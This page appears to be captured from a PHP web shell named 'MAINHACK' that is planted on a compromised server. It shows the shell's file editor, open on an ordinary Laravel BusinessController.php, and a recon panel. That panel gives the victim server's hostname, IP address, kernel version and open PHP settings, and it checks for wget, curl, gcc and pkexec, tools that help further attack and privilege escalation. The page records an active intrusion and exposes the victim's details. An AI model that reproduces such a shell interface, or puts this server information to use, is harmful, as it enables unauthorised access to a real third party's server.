[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: BusinessController.php
<?php namespace App\Http\Controllers\User; use App\Http\Controllers\Controller; use App\Models\Business; use Illuminate\Http\Request; use Illuminate\Support\Facades\DB; use Validator; class BusinessController extends Controller { /** * Create a new controller instance. * * @return void */ public function __construct() { $this->middleware(function ($request, $next) { $route_name = request()->route()->getName(); if ($route_name == 'business.store') { if (has_limit('business', 'business_limit') <= 0) { if (!$request->ajax()) { return back()->with('error', _lang('Sorry, Your have already reached your package quota !')); } else { return response()->json(['result' => 'error', 'message' => _lang('Sorry, Your have already reached your package quota !')]); } } } return $next($request); }); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { $assets = ['datatable']; $businesss = Business::with('role')->get()->sortByDesc("id"); return view('backend.user.business.list', compact('businesss', 'assets')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create(Request $request) { $alert_col = 'col-lg-8 offset-lg-2'; return view('backend.user.business.create', compact('alert_col')); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { $validator = Validator::make($request->all(), [ 'name' => 'required', 'business_type_id' => 'required', 'country' => 'required', 'currency' => 'required', 'logo' => 'nullable|image|max:2048', 'status' => 'required', 'default' => 'required', ]); if ($validator->fails()) { if ($request->ajax()) { return response()->json(['result' => 'error', 'message' => $validator->errors()->all()]); } else { return redirect()->route('business.create') ->withErrors($validator) ->withInput(); } } $logo = 'default/default-company-logo.png'; if ($request->hasfile('logo')) { $file = $request->file('logo'); $logo = time() . $file->getClientOriginalName(); $file->move(public_path() . "/uploads/media/", $logo); } DB::beginTransaction(); $business = new Business(); $business->name = $request->input('name'); $business->reg_no = $request->input('reg_no'); $business->vat_id = $request->input('vat_id'); $business->user_id = auth()->id(); $business->business_type_id = $request->input('business_type_id'); $business->email = $request->input('email'); $business->phone = $request->input('phone'); $business->country = $request->input('country'); $business->currency = $request->input('currency'); $business->address = $request->input('address'); $business->logo = $logo; $business->status = $request->input('status'); if ($request->default == 1) { Business::where('default', 1)->update(['default' => 0]); $business->default = $request->input('default'); } $business->save(); $business->users()->attach($business->user_id, ['owner_id' => $business->user_id, 'is_active' => count($request->businessList) == 0 ? 1 : 0]); DB::commit(); if ($business->id > 0) { return redirect()->route('business.index')->with('success', _lang('Saved Successfully')); } } /** * Display System User list * * @param int $id * @return \Illuminate\Http\Response */ public function users(Request $request, $id) { $assets = ['datatable']; $business = Business::with('users')->find($id); return view('backend.user.business.system_users', compact('business', 'id', 'assets')); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit(Request $request, $id) { $alert_col = 'col-lg-8 offset-lg-2'; $business = Business::owner()->find($id); return view('backend.user.business.edit', compact('business', 'id', 'alert_col')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { $validator = Validator::make($request->all(), [ 'name' => 'required', 'business_type_id' => 'required', 'country' => 'required', //'currency' => 'required', 'logo' => 'nullable|image|max:2048', 'status' => 'required', 'default' => 'required', ]); if ($validator->fails()) { if ($request->ajax()) { return response()->json(['result' => 'error', 'message' => $validator->errors()->all()]); } else { return redirect()->route('business.edit', $id) ->withErrors($validator) ->withInput(); } } if ($request->hasfile('logo')) { $file = $request->file('logo'); $logo = time() . $file->getClientOriginalName(); $file->move(public_path() . "/uploads/media/", $logo); } DB::beginTransaction(); $business = Business::owner()->find($id); $business->name = $request->input('name'); $business->reg_no = $request->input('reg_no'); $business->vat_id = $request->input('vat_id'); $business->user_id = auth()->id(); $business->business_type_id = $request->input('business_type_id'); $business->email = $request->input('email'); $business->phone = $request->input('phone'); $business->country = $request->input('country'); if ($business->invoices->count() == 0 || $business->quotations->count() == 0) { $business->currency = $request->input('currency'); } $business->address = $request->input('address'); if ($request->hasfile('logo')) { $business->logo = $logo; } $business->status = $request->input('status'); if ($request->default == 1) { Business::where('default', 1)->update(['default' => 0]); $business->default = $request->input('default'); } $business->save(); DB::commit(); if (!$request->ajax()) { return redirect()->route('business.index')->with('success', _lang('Updated Successfully')); } else { return response()->json(['result' => 'success', 'action' => 'update', 'message' => _lang('Updated Successfully'), 'data' => $business, 'table' => '#business_table']); } } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $business = Business::owner()->find($id); if ($business->default == 1) { return redirect()->route('business.index')->with('error', _lang('Sorry, You will not be able to delete default business!')); } $business->delete(); return redirect()->route('business.index')->with('success', _lang('Deleted Successfully')); } /** Switch Business Account **/ public function switch_business(Request $request, $id) { $user = auth()->user(); if ($user->user_type != 'user') { return back()->with('error', _lang('Permission denied !')); } $business = $user->business()->where('business.id', $id)->first(); if (!$business) { return back()->with('error', _lang('Permission denied !')); } $user->business()->updateExistingPivot($request->activeBusiness->id, ['is_active' => 0]); $user->business()->updateExistingPivot($id, ['is_active' => 1]); return redirect()->route('dashboard.index')->with('success', _lang('Business switched to') . ' ' . $business->name); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002